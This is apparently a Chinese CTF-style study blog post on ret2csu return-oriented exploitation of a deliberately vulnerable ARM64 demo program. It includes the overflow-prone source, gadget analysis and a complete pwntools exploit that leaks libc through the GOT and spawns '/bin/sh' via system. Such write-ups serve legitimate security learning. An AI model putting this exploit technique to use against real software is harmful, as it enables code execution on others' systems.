ARM-ret2csu
很难为情的说一下emmm,,,今天因为要安装arm的交叉编译环境所以我含泪失去了亲爱的ubuntu20。承认是我操作笨拙导致我失去了自己最爱的虚拟机。(bgm响起,痛爱~
demo源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void vul(){
char buf[128];
read(0, buf, 512);
}
int main(int argc, char** argv){
init();
write(1, "Hello, World\n", 13);
vul();
}
分别用64位和32位arm来编译,首先对比一下arm下64位和32位下libc_csu_init函数的区别
64位:
32位:
这样一对比会发现在arm框架下32位的程序也是不可以使用ret2csu的,那么专心研究64位下的利用
我又看了mips框架下的对比,32位同样是不能够满足gadget条件
编译成酱紫
利用原理
ARM下的原理其实和x86下的相同,就是利用csu下的gadget进行间接传参,然后再调用目的函数造成任意函数调用。在x86_64的框架下,函数调用约定是从第一个到第六个参数,按顺序是在寄存器rdi、rsi、rdx,rcx,r8,r9,从第七个参数开始就从stack中按照先进后出的规律进行取参。在ARM框架下,函数调用约定传参,当参数少于4个参数的时候是通过寄存器r0-r3来传参,多于四个参数的时候就开始利用stack内传参。
由于arm的汇编对习惯x86汇编的人不太友好,所以我把他翻译成x86汇编来看
这里主要就是注意控制我们输入的内容与sp的关系。
需要动调看一下输入在栈内的位置
看到我们可以控制的是从sp+0x10开始的地址,那这样的话就可以分析传参的关系来进行参数的摆布
学艺不精,在真正动调的时候才发现sp不一样
那么就需要一直往下写覆盖到这里
这样的话payload就可以写出
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['write']) + p64(1) + p64(elf.got['write']) + p64(0x8) + p64(0) +p64(0x0040076C)
并且成功leak了地址
那么就可以参考x86下的打法将system函数还有binsh写在bss端,然后利用payload模板进行利用
exp如下:
from pwn import *
context.log_level='debug'
context.arch='aarch64'
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#p = process(["qemu-aarch64","-g", "1234","-L", "/usr/aarch64-linux-gnu/", "./csu_arm"])
p = process(["qemu-aarch64","-L", "/usr/aarch64-linux-gnu/", "./csu_arm"])
elf = ELF('./csu_arm')
libc = ELF('./libc-2.31.so')
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['write']) + p64(1) + p64(elf.got['write']) + p64(0x8) + p64(0) +p64(0x0040076C)
p.sendlineafter('Hello, World\n',pl)
write_addr = uu64(r(6))
leak('write_addr',write_addr)
libcbase = write_addr - libc.sym['write']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
leak('system',system)
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['read']) + p64(0) + p64(0x0411140) + p64(0x20) + p64(0) +p64(0x0040076C)
#pause()
p.sendlineafter('Hello, World\n',pl)
p.sendline(p64(system)+b'/bin/sh\x00')
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(0x0411140) + p64(0x0411148) + p64(0) + p64(0) + p64(0) +p64(0x0040076C)
p.sendlineafter('Hello, World\n',pl)
p.interactive()
奏效
x86和arm的区别就是传参的不同,此题目也巩固一下自己对arm汇编的理解。